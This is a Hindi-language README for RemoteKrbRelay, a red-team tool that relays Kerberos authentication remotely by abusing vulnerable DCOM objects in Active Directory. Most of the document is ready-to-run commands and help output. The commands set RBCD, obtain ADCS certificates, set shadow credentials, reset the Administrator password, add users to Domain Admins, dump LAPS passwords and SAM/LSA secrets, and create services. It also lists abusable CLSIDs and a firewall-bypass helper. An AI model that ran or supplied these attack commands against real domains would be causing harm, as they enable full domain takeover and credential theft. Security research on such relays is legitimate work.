
दूरस्थ Kerberos Relay आसान बनाया गया! उन्नत Kerberos Relay Framework
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 अनुसंधान दल
From Michael Zhmaylo (MzHmO)
आप शायद KrbRelay और KrbRelayUp के बारे में जानते हैं, लेकिन क्या होगा अगर मैं आपसे कहूँ कि इसे दूरस्थ रूप से किया जा सकता है? RemoteKrbRelay के साथ यह वास्तविकता बन जाता है।
CertifiedDCOM के बारे में और अधिक जानें यहाँ। CertifiedDCOM आपको ADCS मशीन खाता ट्रिगर करने की अनुमति देता है:
# CertifiedDCOM (RBCD सेट करके AD CS का दुरुपयोग)
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
# CertifiedDCOM (मशीन प्रमाणपत्र प्राप्त करने के लिए ADCS का दुरुपयोग)
.\RemoteKrbRelay.exe -adcs -template Machine -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
# CertifiedDCOM (ShadowCreds के साथ ADCS का दुरुपयोग)
.\RemoteKrbRelay.exe -shadowcred -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
SilverPotato शोषण भी है। आप इसका उपयोग सत्रों के दुरुपयोग के लिए कर सकते हैं। इसमें तीसरे पक्ष के होस्ट पर डोमेन प्रशासक सत्र भी शामिल है।
# उपयोगकर्ता पासवर्ड बदलें
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
# समूह में उपयोगकर्ता जोड़ें
.\RemoteKrbRelay.exe -addgroupmember -victim computer.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -group "Domain Admins" -groupuser petka
# LAPS पासवर्ड डंप करें
.\RemoteKrbRelay.exe -laps -victim mssql.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# रिले किए गए उपयोगकर्ता से LDAP Whoami अनुरोध भेजें
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# किसी अन्य सत्र से प्रमाणीकरण ट्रिगर करें
.\RemoteKrbRelay.exe -ldapwhoami -victim domainadminhost.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
अब, आपके सामने चार फ़ोल्डर हैं:
Checker - कमजोर DCOM ऑब्जेक्ट का पता लगाने के लिए चेकर का पुराना संस्करण;Checkerv2.0 - कमजोर DCOM ऑब्जेक्ट का पता लगाने के लिए चेकर का नया संस्करण;Exploit - RemoteKrbRelay.exe :)FindAvailablePort - शोषण का उपयोग करते समय फ़ायरवॉल को बायपास करने के लिए एक उपकरण।तो, Checker से शुरू करते हैं। आप इसका उपयोग कमजोर DCOM ऑब्जेक्ट का पता लगाने के लिए कर सकते हैं। एक कमजोर DCOM ऑब्जेक्ट निम्नलिखित मानी जा सकती है:
NT AUTHORITY\LOCAL SERVICE के रूप में कभी नहीं, क्योंकि यह नेटवर्क से प्रमाणीकरण करने के लिए खाली क्रेडेंशियल का उपयोग करता है;RemoteLaunch, RemoteActivation अनुमतियाँ होनी चाहिए। यह LaunchPermissions है;RPC_C_IMP_LEVEL_IDENTIFY या उससे अधिक होना चाहिए। RPC_C_IMP_LEVEL_IDENTIFY डिफ़ॉल्ट मान है;RemoteAccess अनुमतियाँ होनी चाहिए (या वे खाली होनी चाहिए)। यह AccessPermission है।आसान पहचान के लिए, आप Checkerv2.0 का उपयोग कर सकते हैं। यह csv और xlsx स्वरूपों में आउटपुट का समर्थन करता है।
PS A:\ssd\Share\RemoteKrbRelay\Checkerv2.0\Checkerv2.0\bin\Debug> .\Checkerv2.0.exe -h
/\_/\____, /\ /\
,___/\_/\ \ ~ / \ _____\
\ ~ \ ) XXX (_)-(_)
XXX / /\_/\___, Checkerv2.0 Collection
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 अनुसंधान दल
From Michael Zhmaylo (MzHmO)
Check.exe
छोटा उपकरण जो आपको कमजोर DCOM अनुप्रयोग खोजने की अनुमति देता है
[विकल्प]
-outfile : आउटपुट फ़ाइल नाम
-outformat : आउटपुट स्वरूप। 'csv' और 'xlsx' स्वीकार्य
-showtable : xlsx तालिका दिखाएँ जब वह भर जाए
-h/--help : यह विंडो दिखाएँ
उदाहरण:
.\Checkerv2.0.exe -outfile win10 -outformat xlsx
और आपको ऐसा आउटपुट प्राप्त होगा:

कॉलम में DCOM ऑब्जेक्ट CLSID, नाम, और LaunchPermission तथा AccessPermission होंगे।

sppui (CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}, APPID {0868DC9B-D9A2-4f64-9362-133CEA201299}) और CertSrv Request (CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3}) ऑब्जेक्ट को खोजने का प्रयास करें और समझें कि वे कमजोर क्यों हैं।
Checker का उपयोग न करें, केवल Checkerv2.0 का उपयोग करें कृपया :3
एक छोटा उपकरण जो दुर्भावनापूर्ण DCOM सर्वर को तैनात करने के लिए एक पोर्ट खोजने में मदद करता है। विवरण यहाँ देखें (Remote -> Local Potato)।

स्थानीय पोर्ट की अवधारणा का उपयोग करके अभ्यास करें। RemotePotato0 को स्थानीय पोर्ट पर पुनः लिखें। मेरा विश्वास करें, यह उपयोगी है।
मैंने शोषण में काफी अलग-अलग कार्यक्षमता जोड़ी है। ध्यान दें कि यह DCOM ऑब्जेक्ट के दुरुपयोग के लिए पर्याप्त कार्यक्षमता प्रदान करता है। मैंने दुरुपयोग के लिए Help में कुछ CLSID भी सूचीबद्ध किए हैं। ये CLSID सार्वजनिक रूप से ज्ञात थे, बस उनके दुरुपयोग के लिए कोई POC नहीं था। काफी सारे कमजोर DCOM ऑब्जेक्ट हैं, चेकर के साथ काम करें और उन सभी को खोजें!
PS A:\ssd\Share\RemoteKrbRelay\Exploit\RemoteKrbRelay\bin\x64\Debug> .\RemoteKrbRelay.exe -h
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 अनुसंधान दल
From Michael Zhmaylo (MzHmO)
[सहायता पैनल]
RemoteKrbRelay.exe
आसान तरीके से दूरस्थ Kerberos प्रमाणीकरण रिले करना
उपयोग: RemoteKrbRelay.exe [हमले] [आवश्यक विकल्प] [वैकल्पिक पैरामीटर] [हमला विकल्प] [स्विच]
[हमले] (एक आवश्यक!)
-rbcd : LDAP पर रिले करें और RBCD सेट करें
-adcs : HTTP वेब एनरोलमेंट पर रिले करें और प्रमाणपत्र प्राप्त करें
-smb : SMB पर रिले करें
-shadowcred : LDAP पर रिले करें और Shadow Credentials सेट करें
-chp : LDAP पर रिले करें और उपयोगकर्ता पासवर्ड बदलें
-addgroupmember : LDAP पर रिले करें और समूह में उपयोगकर्ता जोड़ें
-laps : LDAP पर रिले करें और LAPS पासवर्ड निकालें
-ldapwhoami : LDAP पर रिले करें और रिले किए गए उपयोगकर्ता के बारे में जानकारी प्राप्त करें
[आवश्यक विकल्प]
-target : इस लक्ष्य पर रिले करें
-victim : इस कंप्यूटर को रिले करें
-clsid : दुरुपयोग करने के लिए लक्ष्य CLSID
[वैकल्पिक पैरामीटर]
-spn : इस SPN पर टिकट के साथ पीड़ित हमारे पास आएगा। उदा: ldap/dc01.root.apchi - RBCD मोड के लिए tkt , http/dc01.root.apchi - ADCS मोड के लिए tkt
-d/--domain : वर्तमान (लक्ष्य) डोमेन
-dc/--domaincontoller : लक्ष्य DC
-local : वर्तमान कंप्यूटर होस्टनाम। यह होस्ट OBJREF में होगा।
[हमला विकल्प]
[SMB विकल्प (SMB पर रिले)]
--smbkeyword : 'secrets' या 'service-add' या 'interactive' निर्दिष्ट करें
--servicename : service-add cmdlet। नई सेवा का नाम
--servicecmd : service-add cmdlet। सेवा की कमांडलाइन
[ADCS विकल्प (HTTP पर रिले)]
-template : केवल ADCS मोड। रिले करने के लिए टेम्पलेट
[RBCD विकल्प (LDAP पर रिले)]
-c/--create : नया कंप्यूटर बनाएँ
-cn/--computername : कंप्यूटर का नाम जो msDs-AllowedToActOnBehalfOfOtherIdentity में लिखा जाएगा
-cp/--computerpassword : -c स्विच आवश्यक है। नए कंप्यूटर के लिए पासवर्ड
--victimdn : पीड़ित कंप्यूटर का DN
[पासवर्ड बदलें विकल्प (LDAP पर रिले)]
-chpuser : उस उपयोगकर्ता का नाम जिसका पासवर्ड आप बदलना चाहते हैं
-chppass : नया पासवर्ड
[समूह सदस्य जोड़ें विकल्प (LDAP पर रिले)]
-group : समूह का नाम
-groupuser : समूह में जोड़ने के लिए उपयोगकर्ता
-groupdn : लक्ष्य समूह DN
-userdn : लक्ष्य उपयोगकर्ता DN
[SHADOWCRED विकल्प (LDAP पर रिले)]
-forceshadowcred : shadow creds बलपूर्वक लागू करें
[LAPS विकल्प (LDAP पर रिले)]
-lapsdevice : वैकल्पिक पैरामीटर। LAPS डंप करने के लिए लक्ष्य कंप्यूटर होस्टनाम
[स्विच]
-h/--help : सहायता दिखाएँ
-debug : डीबग जानकारी दिखाएँ
-secure : LDAP/HTTP आदि के लिए SSL का उपयोग करें
-p/--port : दुर्भावनापूर्ण dcom सर्वर तैनात करने के लिए पोर्ट
-session : क्रॉस-सेशन सक्रियण। तब उपयोगी जब com ऑब्जेक्ट को RunAs मान "The Interactive User" के साथ इंस्टैंशिएट किया जाता है
-module : डिफ़ॉल्ट "System"। यह फ़ायरवॉल बायपास के लिए है
[उदाहरण]
[1] adcs.root.apchi (-victim) से kerberos प्रमाणीकरण ट्रिगर करें। फिर dc01.root.apchi (-target) पर रिले करें। और adcs.root.apchi से FAKEMACHINE$ (-cn) के लिए RBCD सेट करें (आप वैकल्पिक रूप से -dc प्रदान कर सकते हैं क्योंकि RBCD सेट करने के लिए DC पर LDAP से कनेक्शन आवश्यक है)। परिणामस्वरूप आप FAKEMACHINE$ से RBCD के माध्यम से adcs.root.apchi को पूरी तरह से नियंत्रित कर सकते हैं
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
[2] dc01.root.apchi (-victim) से krb प्रमाणीकरण ट्रिगर करें। फिर win10.root.apchi (-target) पर रिले करें और इंटरैक्टिव SMB कंसोल खोलें।
.\RemoteKrbRelay.exe -smb --smbkeyword interactive -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[3] dc01.root.apchi (-victim) से krb प्रमाणीकरण ट्रिगर करें। फिर win10.root.apchi (-target) पर रिले करें और win10.root.apchi से SAM/LSA रहस्य डंप करें।
.\RemoteKrbRelay.exe -smb --smbkeyword secrets -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[4] dc01.root.apchi (-victim) से krb प्रमाणीकरण ट्रिगर करें। फिर win10.root.apchi (-target) पर रिले करें और सेवा बनाएँ।
.\RemoteKrbRelay.exe -smb --smbkeyword service-add --servicename Hello --servicecmd "c:\windows\system32\calc.exe" -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[5] kerberos रिले से मशीन प्रमाणपत्र प्राप्त करें
.\RemoteKrbRelay.exe -adcs -template Machine -target dc01.root.apchi -victim win10.root.apchi -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
[6] Shadow Creds
.\RemoteKrbRelay.exe -shadowcred -victim dc01.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
[7] उपयोगकर्ता पासवर्ड बदलें
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
[9] LAPS पासवर्ड डंप करें
.\RemoteKrbRelay.exe -laps -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[10] रिले किए गए उपयोगकर्ता से LDAP Whoami अनुरोध भेजें
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[11] किसी अन्य सत्र से प्रमाणीकरण ट्रिगर करें
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
[?] उपयोग करने के लिए दिलचस्प CLSID
dea794e0-1c1d-4363-b171-98d0b1703586 - इंटरैक्टिव उपयोगकर्ता। आप -session स्विच के साथ उपयोग कर सकते हैं। आपको NT AUTHORITY\Interactive में होना चाहिए
f87b28f1-da9a-4f35-8ec0-800efcf26b83 - इंटरैक्टिव उपयोगकर्ता। आप -session स्विच के साथ उपयोग कर सकते हैं। आपको Distributed COM Users या Performance Log Users में होना चाहिए
3ab092c4-de6a-4cd4-be9e-fdacdb05759c - सिस्टम खाता। पीड़ित कंप्यूटर पर AD CS स्थापित होना चाहिए
6d5ad135-1730-4f19-a4eb-3f87e7c976bb - सिस्टम खाता। पीड़ित कंप्यूटर पर AD CS स्थापित होना चाहिए
मैं कुछ हमलों पर गौर करने का सुझाव देता हूँ:
RBCD - LDAP पर रिले करें और RBCD सेट करें।

HTTP ADCS - वेब एनरोलमेंट सेवा पर रिले करें।

ShadowCred - LDAP पर रिले करें और ShadowCreds सेट करें।

समूह में उपयोगकर्ता जोड़ें

LDAP Whoami अनुरोध - CLSID ब्रूटफोर्स कार्यक्षमता के साथ संयोजन करना सुविधाजनक है। आप पता लगा सकते हैं कि आप किस उपयोगकर्ता को ट्रिगर कर रहे हैं। डोमेन के सभी मशीनों पर पहले पाँच सत्रों के लिए ट्रिगर करने का प्रयास करें। वाह, यह पाँच मिनट में डोमेन प्रशासक है? :)

-session का उपयोग करके क्रॉस-सेशन सक्रियण का समर्थन करता है:


LAPS, उपयोगकर्ता पासवर्ड बदलना, smb.... भी।
वीडियो DEMO:
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.vostok.street -target dc01.vostok.street -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -local dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA
# लेकिन मैंने अभी तक प्रारंभिक OXID अनुरोध से रिले लागू नहीं किया है। इसे करो BRO! :)
# dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA <- यह DNS A रिकॉर्ड है जो kali की ओर इशारा करता है (CredMarshalTargetInfo() के लिए धन्यवाद क्योंकि मैं RPCSS/dc01 पर tkt प्राप्त कर सकता हूँ)
.\RemoteKrbRelay.exe -rbcd -victim win10.vostok.street -target dc01.vostok.street -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -spn krbtgt/root.apchi -cn FAKEMACHINE$
यह भेद्यता काफी गंभीर है। ध्यान दें कि यह न्यूनतम POC है। यदि आप इसे अपने Red Team परियोजनाओं पर स्थिर रूप से उपयोग करना चाहते हैं तो आपको इसे परिष्कृत करना चाहिए।
CertifiedDCOM और SilverPotato पर POC पोस्ट न करने के लिए धन्यवाद, मैं उन लेखों पर इसे करने के लिए उत्सुक था :D